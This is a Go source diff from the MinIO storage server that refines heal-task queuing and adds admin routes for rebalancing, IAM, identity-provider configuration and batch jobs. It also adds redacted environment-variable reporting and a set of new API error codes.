 func (ahs *allHealState) pushHealLocalDisks(healLocalDisks ...Endpoint) {
 	ahs.Lock()
 	defer ahs.Unlock()

 	for _, ep := range healLocalDisks {
-		ahs.healLocalDisks[ep] = struct{}{}
+		ahs.healLocalDisks[ep] = false
 	}
 }

@@ -215,8 +223,8 @@ func (ahs *allHealState) periodicHealSeqsClean(ctx context.Context) {
 // getHealSequenceByToken - Retrieve a heal sequence by token. The second
 // argument returns if a heal sequence actually exists.
 func (ahs *allHealState) getHealSequenceByToken(token string) (h *healSequence, exists bool) {
-	ahs.Lock()
-	defer ahs.Unlock()
+	ahs.RLock()
+	defer ahs.RUnlock()
 	for _, healSeq := range ahs.healSeqMap {
 		if healSeq.clientToken == token {
 			return healSeq, true
@@ -228,8 +236,8 @@ func (ahs *allHealState) getHealSequenceByToken(token string) (h *healSequence,
 // getHealSequence - Retrieve a heal sequence by path. The second
 // argument returns if a heal sequence actually exists.
 func (ahs *allHealState) getHealSequence(path string) (h *healSequence, exists bool) {
-	ahs.Lock()
-	defer ahs.Unlock()
+	ahs.RLock()
+	defer ahs.RUnlock()
 	h, exists = ahs.healSeqMap[path]
 	return h, exists
 }
@@ -389,6 +397,7 @@ type healSource struct {
 	bucket    string
 	object    string
 	versionID string
+	noWait    bool             // a non blocking call, if task queue is full return right away.
 	opts      *madmin.HealOpts // optional heal option overrides default setting
 }

@@ -692,7 +701,6 @@ func (h *healSequence) queueHealTask(source healSource, healType madmin.HealItem
 		object:    source.object,
 		versionID: source.versionID,
 		opts:      h.settings,
-		respCh:    h.respCh,
 	}
 	if source.opts != nil {
 		task.opts = *source.opts
@@ -705,15 +713,32 @@ func (h *healSequence) queueHealTask(source healSource, healType madmin.HealItem
 	h.lastHealActivity = UTCNow()
 	h.mutex.Unlock()

-	select {
-	case globalBackgroundHealRoutine.tasks <- task:
-		if serverDebugLog {
-			logger.Info("Task in the queue: %#v", task)
+	if source.noWait {
+		select {
+		case globalBackgroundHealRoutine.tasks <- task:
+			if serverDebugLog {
+				logger.Info("Task in the queue: %#v", task)
+			}
+		case <-h.ctx.Done():
+			return nil
+		default:
+			// task queue is full, no more workers, we shall move on and heal later.
+			return nil
+		}
+	} else {
+		// respCh must be set for guaranteed result
+		task.respCh = h.respCh
+		select {
+		case globalBackgroundHealRoutine.tasks <- task:
+			if serverDebugLog {
+				logger.Info("Task in the queue: %#v", task)
+			}
+		case <-h.ctx.Done():
+			return nil
 		}
-	case <-h.ctx.Done():
-		return nil
 	}

+	// task queued, now wait for the response.
 	select {
 	case res := <-h.respCh:
 		if !h.reportProgress {
@@ -804,16 +829,6 @@ func (h *healSequence) healMinioSysMeta(objAPI ObjectLayer, metaPrefix string) f
 	}
 }

-// healDiskFormat - heals format.json, return value indicates if a
-// failure error occurred.
-func (h *healSequence) healDiskFormat() error {
-	if h.isQuitting() {
-		return errHealStopSignalled
-	}
-
-	return h.queueHealTask(healSource{bucket: SlashSeparator}, madmin.HealItemMetadata)
-}
-
 // healBuckets - check for all buckets heal or just particular bucket.
 func (h *healSequence) healBuckets(objAPI ObjectLayer, bucketsOnly bool) error {
 	if h.isQuitting() {
@@ -825,7 +840,7 @@ func (h *healSequence) healBuckets(objAPI ObjectLayer, bucketsOnly bool) error {
 		return h.healBucket(objAPI, h.bucket, bucketsOnly)
 	}

-	buckets, err := objAPI.ListBuckets(h.ctx)
+	buckets, err := objAPI.ListBuckets(h.ctx, BucketOptions{})
 	if err != nil {
 		return errFnHealFromAPIErr(h.ctx, err)
 	}
@@ -20,11 +20,11 @@ package cmd
 import (
 	"net/http"

-	"github.com/gorilla/mux"
 	"github.com/klauspost/compress/gzhttp"
 	"github.com/klauspost/compress/gzip"
-	"github.com/minio/madmin-go"
+	"github.com/minio/madmin-go/v2"
 	"github.com/minio/minio/internal/logger"
+	"github.com/minio/mux"
 )

 const (
@@ -60,12 +60,14 @@ func registerAdminRouter(router *mux.Router, enableConfigOps bool) {

 		// Info operations
 		adminRouter.Methods(http.MethodGet).Path(adminVersion + "/info").HandlerFunc(gz(httpTraceAll(adminAPI.ServerInfoHandler)))
-		adminRouter.Methods(http.MethodGet).Path(adminVersion+"/inspect-data").HandlerFunc(httpTraceHdrs(adminAPI.InspectDataHandler)).Queries("volume", "{volume:.*}", "file", "{file:.*}")
+		adminRouter.Methods(http.MethodGet, http.MethodPost).Path(adminVersion + "/inspect-data").HandlerFunc(httpTraceAll(adminAPI.InspectDataHandler))

 		// StorageInfo operations
 		adminRouter.Methods(http.MethodGet).Path(adminVersion + "/storageinfo").HandlerFunc(gz(httpTraceAll(adminAPI.StorageInfoHandler)))
 		// DataUsageInfo operations
 		adminRouter.Methods(http.MethodGet).Path(adminVersion + "/datausageinfo").HandlerFunc(gz(httpTraceAll(adminAPI.DataUsageInfoHandler)))
+		// Metrics operation
+		adminRouter.Methods(http.MethodGet).Path(adminVersion + "/metrics").HandlerFunc(gz(httpTraceAll(adminAPI.MetricsHandler)))

 		if globalIsDistErasure || globalIsErasure {
 			// Heal operations
@@ -82,6 +84,11 @@ func registerAdminRouter(router *mux.Router, enableConfigOps bool) {

 			adminRouter.Methods(http.MethodPost).Path(adminVersion+"/pools/decommission").HandlerFunc(gz(httpTraceAll(adminAPI.StartDecommission))).Queries("pool", "{pool:.*}")
 			adminRouter.Methods(http.MethodPost).Path(adminVersion+"/pools/cancel").HandlerFunc(gz(httpTraceAll(adminAPI.CancelDecommission))).Queries("pool", "{pool:.*}")
+
+			// Rebalance operations
+			adminRouter.Methods(http.MethodPost).Path(adminVersion + "/rebalance/start").HandlerFunc(gz(httpTraceAll(adminAPI.RebalanceStart)))
+			adminRouter.Methods(http.MethodGet).Path(adminVersion + "/rebalance/status").HandlerFunc(gz(httpTraceAll(adminAPI.RebalanceStatus)))
+			adminRouter.Methods(http.MethodPost).Path(adminVersion + "/rebalance/stop").HandlerFunc(gz(httpTraceAll(adminAPI.RebalanceStop)))
 		}

 		// Profiling operations - deprecated API
@@ -135,12 +142,18 @@ func registerAdminRouter(router *mux.Router, enableConfigOps bool) {
 		adminRouter.Methods(http.MethodGet).Path(adminVersion + "/list-service-accounts").HandlerFunc(gz(httpTraceHdrs(adminAPI.ListServiceAccounts)))
 		adminRouter.Methods(http.MethodDelete).Path(adminVersion+"/delete-service-account").HandlerFunc(gz(httpTraceHdrs(adminAPI.DeleteServiceAccount))).Queries("accessKey", "{accessKey:.*}")

+		// STS accounts ops
+		adminRouter.Methods(http.MethodGet).Path(adminVersion+"/temporary-account-info").HandlerFunc(gz(httpTraceHdrs(adminAPI.TemporaryAccountInfo))).Queries("accessKey", "{accessKey:.*}")
+
 		// Info policy IAM latest
 		adminRouter.Methods(http.MethodGet).Path(adminVersion+"/info-canned-policy").HandlerFunc(gz(httpTraceHdrs(adminAPI.InfoCannedPolicy))).Queries("name", "{name:.*}")
 		// List policies latest
 		adminRouter.Methods(http.MethodGet).Path(adminVersion+"/list-canned-policies").HandlerFunc(gz(httpTraceHdrs(adminAPI.ListBucketPolicies))).Queries("bucket", "{bucket:.*}")
 		adminRouter.Methods(http.MethodGet).Path(adminVersion + "/list-canned-policies").HandlerFunc(gz(httpTraceHdrs(adminAPI.ListCannedPolicies)))

+		// Builtin IAM policy associations
+		adminRouter.Methods(http.MethodGet).Path(adminVersion + "/idp/builtin/policy-entities").HandlerFunc(gz(httpTraceHdrs(adminAPI.ListPolicyMappingEntities)))
+
 		// Remove policy IAM
 		adminRouter.Methods(http.MethodDelete).Path(adminVersion+"/remove-canned-policy").HandlerFunc(gz(httpTraceHdrs(adminAPI.RemoveCannedPolicy))).Queries("name", "{name:.*}")

@@ -149,6 +162,12 @@ func registerAdminRouter(router *mux.Router, enableConfigOps bool) {
 			HandlerFunc(gz(httpTraceHdrs(adminAPI.SetPolicyForUserOrGroup))).
 			Queries("policyName", "{policyName:.*}", "userOrGroup", "{userOrGroup:.*}", "isGroup", "{isGroup:true|false}")

+		// Attach policies to user or group
+		adminRouter.Methods(http.MethodPost).Path(adminVersion + "/idp/builtin/policy/attach").HandlerFunc(gz(httpTraceHdrs(adminAPI.AttachPolicyBuiltin)))
+
+		// Detach policies from user or group
+		adminRouter.Methods(http.MethodPost).Path(adminVersion + "/idp/builtin/policy/detach").HandlerFunc(gz(httpTraceHdrs(adminAPI.DetachPolicyBuiltin)))
+
 		// Remove user IAM
 		adminRouter.Methods(http.MethodDelete).Path(adminVersion+"/remove-user").HandlerFunc(gz(httpTraceHdrs(adminAPI.RemoveUser))).Queries("accessKey", "{accessKey:.*}")

@@ -170,6 +189,24 @@ func registerAdminRouter(router *mux.Router, enableConfigOps bool) {
 		// Set Group Status
 		adminRouter.Methods(http.MethodPut).Path(adminVersion+"/set-group-status").HandlerFunc(gz(httpTraceHdrs(adminAPI.SetGroupStatus))).Queries("group", "{group:.*}").Queries("status", "{status:.*}")

+		// Export IAM info to zipped file
+		adminRouter.Methods(http.MethodGet).Path(adminVersion + "/export-iam").HandlerFunc(httpTraceHdrs(adminAPI.ExportIAM))
+
+		// Import IAM info
+		adminRouter.Methods(http.MethodPut).Path(adminVersion + "/import-iam").HandlerFunc(httpTraceHdrs(adminAPI.ImportIAM))
+
+		// IDentity Provider configuration APIs
+		adminRouter.Methods(http.MethodPut).Path(adminVersion + "/idp-config/{type}/{name}").HandlerFunc(gz(httpTraceHdrs(adminAPI.AddIdentityProviderCfg)))
+		adminRouter.Methods(http.MethodPost).Path(adminVersion + "/idp-config/{type}/{name}").HandlerFunc(gz(httpTraceHdrs(adminAPI.UpdateIdentityProviderCfg)))
+		adminRouter.Methods(http.MethodGet).Path(adminVersion + "/idp-config/{type}").HandlerFunc(gz(httpTraceHdrs(adminAPI.ListIdentityProviderCfg)))
+		adminRouter.Methods(http.MethodGet).Path(adminVersion + "/idp-config/{type}/{name}").HandlerFunc(gz(httpTraceHdrs(adminAPI.GetIdentityProviderCfg)))
+		adminRouter.Methods(http.MethodDelete).Path(adminVersion + "/idp-config/{type}/{name}").HandlerFunc(gz(httpTraceHdrs(adminAPI.DeleteIdentityProviderCfg)))
+
+		// LDAP IAM operations
+		adminRouter.Methods(http.MethodGet).Path(adminVersion + "/idp/ldap/policy-entities").HandlerFunc(gz(httpTraceHdrs(adminAPI.ListLDAPPolicyMappingEntities)))
+		adminRouter.Methods(http.MethodPost).Path(adminVersion + "/idp/ldap/policy/{operation}").HandlerFunc(gz(httpTraceHdrs(adminAPI.AttachDetachPolicyLDAP)))
+		// -- END IAM APIs --
+
 		// GetBucketQuotaConfig
 		adminRouter.Methods(http.MethodGet).Path(adminVersion+"/get-bucket-quota").HandlerFunc(
 			gz(httpTraceHdrs(adminAPI.GetBucketQuotaConfigHandler))).Queries("bucket", "{bucket:.*}")
@@ -187,6 +224,27 @@ func registerAdminRouter(router *mux.Router, enableConfigOps bool) {
 		// RemoveRemoteTargetHandler
 		adminRouter.Methods(http.MethodDelete).Path(adminVersion+"/remove-remote-target").HandlerFunc(
 			gz(httpTraceHdrs(adminAPI.RemoveRemoteTargetHandler))).Queries("bucket", "{bucket:.*}", "arn", "{arn:.*}")
+		// ReplicationDiff - MinIO extension API
+		adminRouter.Methods(http.MethodPost).Path(adminVersion+"/replication/diff").HandlerFunc(
+			gz(httpTraceHdrs(adminAPI.ReplicationDiffHandler))).Queries("bucket", "{bucket:.*}")
+
+		// Batch job operations
+		adminRouter.Methods(http.MethodPost).Path(adminVersion + "/start-job").HandlerFunc(
+			gz(httpTraceHdrs(adminAPI.StartBatchJob)))
+
+		adminRouter.Methods(http.MethodGet).Path(adminVersion + "/list-jobs").HandlerFunc(
+			gz(httpTraceHdrs(adminAPI.ListBatchJobs)))
+
+		adminRouter.Methods(http.MethodGet).Path(adminVersion + "/describe-job").HandlerFunc(
+			gz(httpTraceHdrs(adminAPI.DescribeBatchJob)))
+
+		// Bucket migration operations
+		// ExportBucketMetaHandler
+		adminRouter.Methods(http.MethodGet).Path(adminVersion + "/export-bucket-metadata").HandlerFunc(
+			gz(httpTraceHdrs(adminAPI.ExportBucketMetadataHandler)))
+		// ImportBucketMetaHandler
+		adminRouter.Methods(http.MethodPut).Path(adminVersion + "/import-bucket-metadata").HandlerFunc(
+			gz(httpTraceHdrs(adminAPI.ImportBucketMetadataHandler)))

 		// Remote Tier management operations
 		adminRouter.Methods(http.MethodPut).Path(adminVersion + "/tier").HandlerFunc(gz(httpTraceHdrs(adminAPI.AddTierHandler)))
@@ -212,6 +270,7 @@ func registerAdminRouter(router *mux.Router, enableConfigOps bool) {
 		adminRouter.Methods(http.MethodPut).Path(adminVersion + "/site-replication/edit").HandlerFunc(gz(httpTraceHdrs(adminAPI.SiteReplicationEdit)))
 		adminRouter.Methods(http.MethodPut).Path(adminVersion + "/site-replication/peer/edit").HandlerFunc(gz(httpTraceHdrs(adminAPI.SRPeerEdit)))
 		adminRouter.Methods(http.MethodPut).Path(adminVersion + "/site-replication/peer/remove").HandlerFunc(gz(httpTraceHdrs(adminAPI.SRPeerRemove)))
+		adminRouter.Methods(http.MethodPut).Path(adminVersion+"/site-replication/resync/op").HandlerFunc(gz(httpTraceHdrs(adminAPI.SiteReplicationResyncOp))).Queries("operation", "{operation:.*}")

 		if globalIsDistErasure {
 			// Top locks
@@ -221,8 +280,8 @@ func registerAdminRouter(router *mux.Router, enableConfigOps bool) {
 				Queries("paths", "{paths:.*}").HandlerFunc(gz(httpTraceHdrs(adminAPI.ForceUnlockHandler)))
 		}

-		adminRouter.Methods(http.MethodPost).Path(adminVersion + "/speedtest").HandlerFunc(httpTraceHdrs(adminAPI.SpeedtestHandler))
-		adminRouter.Methods(http.MethodPost).Path(adminVersion + "/speedtest/object").HandlerFunc(httpTraceHdrs(adminAPI.ObjectSpeedtestHandler))
+		adminRouter.Methods(http.MethodPost).Path(adminVersion + "/speedtest").HandlerFunc(httpTraceHdrs(adminAPI.SpeedTestHandler))
+		adminRouter.Methods(http.MethodPost).Path(adminVersion + "/speedtest/object").HandlerFunc(httpTraceHdrs(adminAPI.ObjectSpeedTestHandler))
 		adminRouter.Methods(http.MethodPost).Path(adminVersion + "/speedtest/drive").HandlerFunc(httpTraceHdrs(adminAPI.DriveSpeedtestHandler))
 		adminRouter.Methods(http.MethodPost).Path(adminVersion + "/speedtest/net").HandlerFunc(httpTraceHdrs(adminAPI.NetperfHandler))

@@ -238,16 +297,12 @@ func registerAdminRouter(router *mux.Router, enableConfigOps bool) {
 		adminRouter.Methods(http.MethodPost).Path(adminVersion+"/kms/key/create").HandlerFunc(gz(httpTraceAll(adminAPI.KMSCreateKeyHandler))).Queries("key-id", "{key-id:.*}")
 		adminRouter.Methods(http.MethodGet).Path(adminVersion + "/kms/key/status").HandlerFunc(gz(httpTraceAll(adminAPI.KMSKeyStatusHandler)))

-		if !globalIsGateway {
-			// Keep obdinfo for backward compatibility with mc
-			adminRouter.Methods(http.MethodGet).Path(adminVersion + "/obdinfo").
-				HandlerFunc(gz(httpTraceHdrs(adminAPI.HealthInfoHandler)))
-			// -- Health API --
-			adminRouter.Methods(http.MethodGet).Path(adminVersion + "/healthinfo").
-				HandlerFunc(gz(httpTraceHdrs(adminAPI.HealthInfoHandler)))
-			adminRouter.Methods(http.MethodGet).Path(adminVersion + "/bandwidth").
-				HandlerFunc(gz(httpTraceHdrs(adminAPI.BandwidthMonitorHandler)))
-		}
+		// Keep obdinfo for backward compatibility with mc
+		adminRouter.Methods(http.MethodGet).Path(adminVersion + "/obdinfo").
+			HandlerFunc(gz(httpTraceHdrs(adminAPI.HealthInfoHandler)))
+		// -- Health API --
+		adminRouter.Methods(http.MethodGet).Path(adminVersion + "/healthinfo").
+			HandlerFunc(gz(httpTraceHdrs(adminAPI.HealthInfoHandler)))
 	}

 	// If none of the routes match add default error handler routes
@@ -20,17 +20,20 @@ package cmd
 import (
 	"context"
 	"net/http"
+	"os"
 	"runtime"
+	"runtime/debug"
+	"strings"
 	"time"

-	"github.com/minio/madmin-go"
+	"github.com/minio/madmin-go/v2"
+	"github.com/minio/minio/internal/config"
 	"github.com/minio/minio/internal/logger"
 )

 // getLocalServerProperty - returns madmin.ServerProperties for only the
 // local endpoints from given list of endpoints
 func getLocalServerProperty(endpointServerPools EndpointServerPools, r *http.Request) madmin.ServerProperties {
-	var localEndpoints Endpoints
 	addr := globalLocalNodeName
 	if r != nil {
 		addr = r.Host
@@ -48,7 +51,6 @@ func getLocalServerProperty(endpointServerPools EndpointServerPools, r *http.Req
 			if endpoint.IsLocal {
 				// Only proceed for local endpoints
 				network[nodeName] = string(madmin.ItemOnline)
-				localEndpoints = append(localEndpoints, endpoint)
 				continue
 			}
 			_, present := network[nodeName]
@@ -67,6 +69,22 @@ func getLocalServerProperty(endpointServerPools EndpointServerPools, r *http.Req
 	var memstats runtime.MemStats
 	runtime.ReadMemStats(&memstats)

+	gcStats := debug.GCStats{
+		// If stats.PauseQuantiles is non-empty, ReadGCStats fills
+		// it with quantiles summarizing the distribution of pause time.
+		// For example, if len(stats.PauseQuantiles) is 5, it will be
+		// filled with the minimum, 25%, 50%, 75%, and maximum pause times.
+		PauseQuantiles: make([]time.Duration, 5),
+	}
+	debug.ReadGCStats(&gcStats)
+	// Truncate GC stats to max 5 entries.
+	if len(gcStats.PauseEnd) > 5 {
+		gcStats.PauseEnd = gcStats.PauseEnd[len(gcStats.PauseEnd)-5:]
+	}
+	if len(gcStats.Pause) > 5 {
+		gcStats.Pause = gcStats.Pause[len(gcStats.Pause)-5:]
+	}
+
 	props := madmin.ServerProperties{
 		State:    string(madmin.ItemInitializing),
 		Endpoint: addr,
@@ -81,14 +99,53 @@ func getLocalServerProperty(endpointServerPools EndpointServerPools, r *http.Req
 			Frees:      memstats.Frees,
 			HeapAlloc:  memstats.HeapAlloc,
 		},
+		GoMaxProcs:     runtime.GOMAXPROCS(0),
+		NumCPU:         runtime.NumCPU(),
+		RuntimeVersion: runtime.Version(),
+		GCStats: &madmin.GCStats{
+			LastGC:     gcStats.LastGC,
+			NumGC:      gcStats.NumGC,
+			PauseTotal: gcStats.PauseTotal,
+			Pause:      gcStats.Pause,
+			PauseEnd:   gcStats.PauseEnd,
+		},
+		MinioEnvVars: make(map[string]string, 10),
+	}
+
+	sensitive := map[string]struct{}{
+		config.EnvAccessKey:         {},
+		config.EnvSecretKey:         {},
+		config.EnvRootUser:          {},
+		config.EnvRootPassword:      {},
+		config.EnvMinIOSubnetAPIKey: {},
+		config.EnvKMSSecretKey:      {},
+	}
+	for _, v := range os.Environ() {
+		if !strings.HasPrefix(v, "MINIO") && !strings.HasPrefix(v, "_MINIO") {
+			continue
+		}
+		split := strings.SplitN(v, "=", 2)
+		key := split[0]
+		value := ""
+		if len(split) > 1 {
+			value = split[1]
+		}
+
+		// Do not send sensitive creds.
+		if _, ok := sensitive[key]; ok || strings.Contains(strings.ToLower(key), "password") || strings.HasSuffix(strings.ToLower(key), "key") {
+			props.MinioEnvVars[key] = "*** EXISTS, REDACTED ***"
+			continue
+		}
+		props.MinioEnvVars[key] = value
 	}

 	objLayer := newObjectLayerFn()
-	if objLayer != nil && !globalIsGateway {
-		// only need Disks information in server mode.
-		storageInfo, _ := objLayer.LocalStorageInfo(GlobalContext)
+	if objLayer != nil {
+		storageInfo := objLayer.LocalStorageInfo(GlobalContext)
 		props.State = string(madmin.ItemOnline)
 		props.Disks = storageInfo.Disks
+	} else {
+		props.State = string(madmin.ItemOffline)
 	}

 	return props
@@ -30,7 +30,8 @@ import (
 	"github.com/Azure/azure-storage-blob-go/azblob"
 	"google.golang.org/api/googleapi"

-	minio "github.com/minio/minio-go/v7"
+	"github.com/minio/madmin-go/v2"
+	"github.com/minio/minio-go/v7"
 	"github.com/minio/minio-go/v7/pkg/tags"
 	"github.com/minio/minio/internal/auth"
 	"github.com/minio/minio/internal/bucket/lifecycle"
@@ -150,7 +151,7 @@ const (
 	ErrSignatureVersionNotSupported
 	ErrBucketNotEmpty
 	ErrAllAccessDisabled
-	ErrMalformedPolicy
+	ErrPolicyInvalidVersion
 	ErrMissingFields
 	ErrMissingCredTag
 	ErrCredMalformed
@@ -194,16 +195,21 @@ const (
 	ErrBucketTaggingNotFound
 	ErrObjectLockInvalidHeaders
 	ErrInvalidTagDirective
+	ErrPolicyAlreadyAttached
+	ErrPolicyNotAttached
 	// Add new error codes here.

-	// SSE-S3 related API errors
+	// SSE-S3/SSE-KMS related API errors
 	ErrInvalidEncryptionMethod
+	ErrInvalidEncryptionKeyID

 	// Server-Side-Encryption (with Customer provided key) related API errors.
 	ErrInsecureSSECustomerRequest
 	ErrSSEMultipartEncrypted
 	ErrSSEEncryptedObject
 	ErrInvalidEncryptionParameters
+	ErrInvalidEncryptionParametersSSEC
+
 	ErrInvalidSSECustomerAlgorithm
 	ErrInvalidSSECustomerKey
 	ErrMissingSSECustomerKey
@@ -231,6 +237,7 @@ const (

 	// S3 extended errors.
 	ErrContentSHA256Mismatch
+	ErrContentChecksumMismatch

 	// Add new extended error codes here.

@@ -260,14 +267,22 @@ const (
 	ErrAdminNoSuchUser
 	ErrAdminNoSuchGroup
 	ErrAdminGroupNotEmpty
+	ErrAdminNoSuchJob
 	ErrAdminNoSuchPolicy
+	ErrAdminPolicyChangeAlreadyApplied
 	ErrAdminInvalidArgument
 	ErrAdminInvalidAccessKey
 	ErrAdminInvalidSecretKey
 	ErrAdminConfigNoQuorum
 	ErrAdminConfigTooLarge
 	ErrAdminConfigBadJSON
+	ErrAdminNoSuchConfigTarget
+	ErrAdminConfigEnvOverridden
 	ErrAdminConfigDuplicateKeys
+	ErrAdminConfigInvalidIDPType
+	ErrAdminConfigLDAPValidation
+	ErrAdminConfigIDPCfgNameAlreadyExists
+	ErrAdminConfigIDPCfgNameDoesNotExist
 	ErrAdminCredentialsMismatch
 	ErrInsecureClientRequest
 	ErrObjectTampered
@@ -282,6 +297,10 @@ const (
 	ErrSiteReplicationIAMError
 	ErrSiteReplicationConfigMissing

+	// Pool rebalance errors
+	ErrAdminRebalanceAlreadyStarted
+	ErrAdminRebalanceNotStarted
+
 	// Bucket Quota error codes
 	ErrAdminBucketQuotaExceeded
 	ErrAdminNoSuchQuotaConfiguration
@@ -389,6 +408,8 @@ const (
 	ErrAccountNotEligible
 	ErrAdminServiceAccountNotFound
 	ErrPostPolicyConditionInvalidFormat
+
+	ErrInvalidChecksum
 )

 type errorCodeMap map[APIErrorCode]APIError
@@ -693,9 +714,9 @@ var errorCodes = errorCodeMap{
 		Description:    "All access to this resource has been disabled.",
 		HTTPStatusCode: http.StatusForbidden,
 	},
-	ErrMalformedPolicy: {
+	ErrPolicyInvalidVersion: {
 		Code:           "MalformedPolicy",
-		Description:    "Policy has invalid resource.",
+		Description:    "The policy must contain a valid version string",
 		HTTPStatusCode: http.StatusBadRequest,
 	},
 	ErrMissingFields: {
@@ -885,7 +906,7 @@ var errorCodes = errorCodeMap{
 	},
 	ErrReplicationRemoteConnectionError: {
 		Code:           "XMinioAdminReplicationRemoteConnectionError",
-		Description:    "Remote service connection error - please check remote service credentials and target bucket",
+		Description:    "Remote service connection error",
 		HTTPStatusCode: http.StatusNotFound,
 	},
 	ErrReplicationBandwidthLimitError: {
@@ -1070,6 +1091,11 @@ var errorCodes = errorCodeMap{
 		Description:    "The encryption method specified is not supported",
 		HTTPStatusCode: http.StatusBadRequest,
 	},
+	ErrInvalidEncryptionKeyID: {
+		Code:           "InvalidRequest",
+		Description:    "The specified KMS KeyID contains unsupported characters",
+		HTTPStatusCode: http.StatusBadRequest,
+	},
 	ErrInsecureSSECustomerRequest: {
 		Code:           "InvalidRequest",
 		Description:    "Requests specifying Server Side Encryption with Customer provided keys must be made over a secure connection.",
@@ -1090,6 +1116,11 @@ var errorCodes = errorCodeMap{
 		Description:    "The encryption parameters are not applicable to this object.",
 		HTTPStatusCode: http.StatusBadRequest,
 	},
+	ErrInvalidEncryptionParametersSSEC: {
+		Code:           "InvalidRequest",
+		Description:    "SSE-C encryption parameters are not supported on replicated bucket.",
+		HTTPStatusCode: http.StatusBadRequest,
+	},
 	ErrInvalidSSECustomerAlgorithm: {
 		Code:           "InvalidArgument",
 		Description:    "Requests specifying Server Side Encryption with Customer provided keys must provide a valid encryption algorithm.",
@@ -1152,11 +1183,16 @@ var errorCodes = errorCodeMap{
 		Description:    "The provided 'x-amz-content-sha256' header does not match what was computed.",
 		HTTPStatusCode: http.StatusBadRequest,
 	},
+	ErrContentChecksumMismatch: {
+		Code:           "XAmzContentChecksumMismatch",
+		Description:    "The provided 'x-amz-checksum' header does not match what was computed.",
+		HTTPStatusCode: http.StatusBadRequest,
+	},

 	// MinIO extensions.
 	ErrStorageFull: {
 		Code:           "XMinioStorageFull",
-		Description:    "Storage backend has reached its minimum free disk threshold. Please delete a few objects to proceed.",
+		Description:    "Storage backend has reached its minimum free drive threshold. Please delete a few objects to proceed.",
 		HTTPStatusCode: http.StatusInsufficientStorage,
 	},
 	ErrRequestBodyParse: {
@@ -1204,6 +1240,11 @@ var errorCodes = errorCodeMap{
 		Description:    "The specified group does not exist.",
 		HTTPStatusCode: http.StatusNotFound,
 	},
+	ErrAdminNoSuchJob: {
+		Code:           "XMinioAdminNoSuchJob",
+		Description:    "The specified job does not exist.",
+		HTTPStatusCode: http.StatusNotFound,
+	},
 	ErrAdminGroupNotEmpty: {
 		Code:           "XMinioAdminGroupNotEmpty",
 		Description:    "The specified group is not empty - cannot remove it.",
@@ -1214,6 +1255,12 @@ var errorCodes = errorCodeMap{
 		Description:    "The canned policy does not exist.",
 		HTTPStatusCode: http.StatusNotFound,
 	},
+	ErrAdminPolicyChangeAlreadyApplied: {
+		Code:           "XMinioAdminPolicyChangeAlreadyApplied",
+		Description:    "The specified policy change is already in effect.",
+		HTTPStatusCode: http.StatusBadRequest,
+	},
+
 	ErrAdminInvalidArgument: {
 		Code:           "XMinioAdminInvalidArgument",
 		Description:    "Invalid arguments specified.",
@@ -1240,16 +1287,46 @@ var errorCodes = errorCodeMap{
 			maxEConfigJSONSize),
 		HTTPStatusCode: http.StatusBadRequest,
 	},
+	ErrAdminNoSuchConfigTarget: {
+		Code:           "XMinioAdminNoSuchConfigTarget",
+		Description:    "No such named configuration target exists",
+		HTTPStatusCode: http.StatusBadRequest,
+	},
 	ErrAdminConfigBadJSON: {
 		Code:           "XMinioAdminConfigBadJSON",
 		Description:    "JSON configuration provided is of incorrect format",
 		HTTPStatusCode: http.StatusBadRequest,
 	},
+	ErrAdminConfigEnvOverridden: {
+		Code:           "XMinioAdminConfigEnvOverridden",
+		Description:    "Unable to update config via Admin API due to environment variable override",
+		HTTPStatusCode: http.StatusBadRequest,
+	},
 	ErrAdminConfigDuplicateKeys: {
 		Code:           "XMinioAdminConfigDuplicateKeys",
 		Description:    "JSON configuration provided has objects with duplicate keys",
 		HTTPStatusCode: http.StatusBadRequest,
 	},
+	ErrAdminConfigInvalidIDPType: {
+		Code:           "XMinioAdminConfigInvalidIDPType",
+		Description:    fmt.Sprintf("Invalid IDP configuration type - must be one of %v", madmin.ValidIDPConfigTypes),
+		HTTPStatusCode: http.StatusBadRequest,
+	},
+	ErrAdminConfigLDAPValidation: {
+		Code:           "XMinioAdminConfigLDAPValidation",
+		Description:    "LDAP Configuration validation failed",
+		HTTPStatusCode: http.StatusBadRequest,
+	},
+	ErrAdminConfigIDPCfgNameAlreadyExists: {
+		Code:           "XMinioAdminConfigIDPCfgNameAlreadyExists",
+		Description:    "An IDP configuration with the given name aleady exists",
+		HTTPStatusCode: http.StatusBadRequest,
+	},
+	ErrAdminConfigIDPCfgNameDoesNotExist: {
+		Code:           "XMinioAdminConfigIDPCfgNameDoesNotExist",
+		Description:    "No such IDP configuration exists",
+		HTTPStatusCode: http.StatusBadRequest,
+	},
 	ErrAdminConfigNotificationTargetsFailed: {
 		Code:           "XMinioAdminNotificationTargetsTestFailed",
 		Description:    "Configuration update failed due an unsuccessful attempt to connect to one or more notification servers",
@@ -1314,7 +1391,7 @@ var errorCodes = errorCodeMap{
 	ErrSiteReplicationPeerResp: {
 		Code:           "XMinioSiteReplicationPeerResp",
 		Description:    "Error received when contacting a peer site",
-		HTTPStatusCode: http.StatusServiceUnavailable,
+		HTTPStatusCode: http.StatusBadRequest,
 	},
 	ErrSiteReplicationBackendIssue: {
 		Code:           "XMinioSiteReplicationBackendIssue",
@@ -1346,6 +1423,16 @@ var errorCodes = errorCodeMap{
 		Description:    "Site not found in site replication configuration",
 		HTTPStatusCode: http.StatusBadRequest,
 	},
+	ErrAdminRebalanceAlreadyStarted: {
+		Code:           "XMinioAdminRebalanceAlreadyStarted",
+		Description:    "Pool rebalance is already started",
+		HTTPStatusCode: http.StatusConflict,
+	},
+	ErrAdminRebalanceNotStarted: {
+		Code:           "XMinioAdminRebalanceNotStarted",
+		Description:    "Pool rebalance is not started",
+		HTTPStatusCode: http.StatusNotFound,
+	},
 	ErrMaximumExpires: {
 		Code:           "AuthorizationQueryParametersError",
 		Description:    "X-Amz-Expires must be less than a week (in seconds); that is, the given X-Amz-Expires must be less than 604800 seconds",
@@ -1856,6 +1943,21 @@ var errorCodes = errorCodeMap{
 		Description:    "Invalid according to Policy: Policy Condition failed",
 		HTTPStatusCode: http.StatusForbidden,
 	},
+	ErrInvalidChecksum: {
+		Code:           "InvalidArgument",
+		Description:    "Invalid checksum provided.",
+		HTTPStatusCode: http.StatusBadRequest,
+	},
+	ErrPolicyAlreadyAttached: {
+		Code:           "XMinioPolicyAlreadyAttached",
+		Description:    "The specified policy is already attached.",
+		HTTPStatusCode: http.StatusConflict,
+	},
+	ErrPolicyNotAttached: {
+		Code:           "XMinioPolicyNotAttached",
+		Description:    "The specified policy is not found.",
+		HTTPStatusCode: http.StatusNotFound,
+	},
 	// Add your error structure here.
 }

